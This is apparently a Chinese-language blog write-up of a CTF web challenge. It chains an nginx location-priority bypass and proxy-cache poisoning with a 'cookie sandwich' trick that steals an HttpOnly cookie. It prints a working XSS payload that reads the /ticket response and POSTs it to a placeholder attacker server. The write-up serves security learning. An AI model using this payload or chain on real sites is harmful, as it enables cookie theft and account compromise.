        flag_value = os.environ.get('FLAG', 'flag{fake}')

        with sync_playwright() as p:
            browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
            context = browser.new_context()

            context.add_cookies([{
                'name': 'flag',
                'value': flag_value,
                'domain': 'localhost',
                'path': '/',
                'httponly': True
            }])

            page = context.new_page()
            page.goto("http://localhost/login", timeout=5000)
            page.fill("input[name='username']", "admin")
            page.fill("input[name='password']", admin_password)
            page.click("input[name='submit']")
            page.wait_for_timeout(3000)
            page.goto(url, timeout=5000)
            page.wait_for_timeout(5000)
            browser.close()

    except Exception as e:
        print(f"Bot error: {str(e)}")

flag会被添加到cookie当中,并且bot会访问http://localhost/api/bio/{username},联想到xss,我在这个界面植入js代码盗走cookie不就行了?

但是发现/api/bio/被禁了,访问直接返回403

location /api/bio/ {
    return 403;
}

location ~ \.(css|js)$ {
    proxy_pass http://127.0.0.1:5000;
    proxy_ignore_headers Vary;
    proxy_cache static_cache;
    proxy_cache_valid 200 10m;
}

Nginx location匹配规则及优先级

语法规则

location [=||*|^~] /uri/ { … }

匹配优先级

  1. 精确匹配 =
    完全匹配 URI,优先级最高,匹配成功后立即停止搜索其他规则。

    2.前缀匹配 ^~
    匹配以指定字符串开头的 URI,且优先级高于正则匹配。

    3.正则匹配 ~~\*
    按配置文件中的顺序依次匹配,先出现的正则表达式优先。若匹配成功,立即停止搜索。

    4.普通前缀匹配(无修饰符)
    匹配以指定字符串开头的 URI,但优先级低于 ^~ 和正则匹配。

    5.默认匹配 /
    如果所有规则均未匹配,最后会匹配 location /

所以nginx正则匹配优先级大于普通前缀匹配,假如用户名中含有js或者css就可以绕过403正常访问了

image-20250916191004646

但是还有限制,自己只能访问自己的bio

if not current_user.username == username:
    return "Unauthorized", 401

proxy_cache 用于开启 Nginx 的代理缓存功能,static_cache缓存区域的名称将后端服务返回的 .css/.js 响应内容缓存到 static_cache 区域,后续相同请求可直接从 Nginx 缓存返回,无需再次请求后端,提升访问速度。

location ~ \.(css|js)$ {
    proxy_pass http://127.0.0.1:5000;
    proxy_ignore_headers Vary;
    proxy_cache static_cache;
    proxy_cache_valid 200 10m;

先自己访问自己的bio,bio被存在缓存区域中,bot就能访问了

接下来就是xss了,但是flag设置了httpOnly(原题出错了,o小写了直接xss就可以得到flag)

context.add_cookies([{
    'name': 'flag',
    'value': flag_value,
    'domain': 'localhost',
    'path': '/',
    'httponly': True
}])

httpOnly

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。

httpOnly绕过(三明治攻击)

参考 Stealing HttpOnly cookies with the cookie sandwich technique | PortSwigger Research

精心构造传到服务端Cookie Header头的顺序,path内容多的会排在前面,然后后设置的排在后面,故我们作如下设置

const url = new URL("http://localhost/ticket");
document.cookie = `$Version=1; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `ticket="nbnb; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `aaa=bbb"; domain=${url.hostname}; path=/;`;

/ticket路由有ticket cookie,获取后发到自己的服务器上

<script>
const url = new URL("http://localhost/ticket");
document.cookie = `$Version=1; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `ticket="nbnb; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `aaa=bbb"; domain=${url.hostname}; path=/;`;
fetch("/ticket", {
        credentials: 'include',
}).then(response => {
        return response.text();
}).then(data => {
        fetch("http://x.x.x.x:xxxx/", {
                method: "POST",
                body: data,
        });
})
</script>

最后让bot来访问

image-20250916193759588

得到flag

参考

N1CTF Junior 2025 2/2 Web WriteUp

n1ctf_web_wp - onehang's blogs

Stealing HttpOnly cookies with the cookie sandwich technique | PortSwigger Research

posted @ 2025-09-16 19:42  leee0  阅读(203)  评论(0)    收藏  举报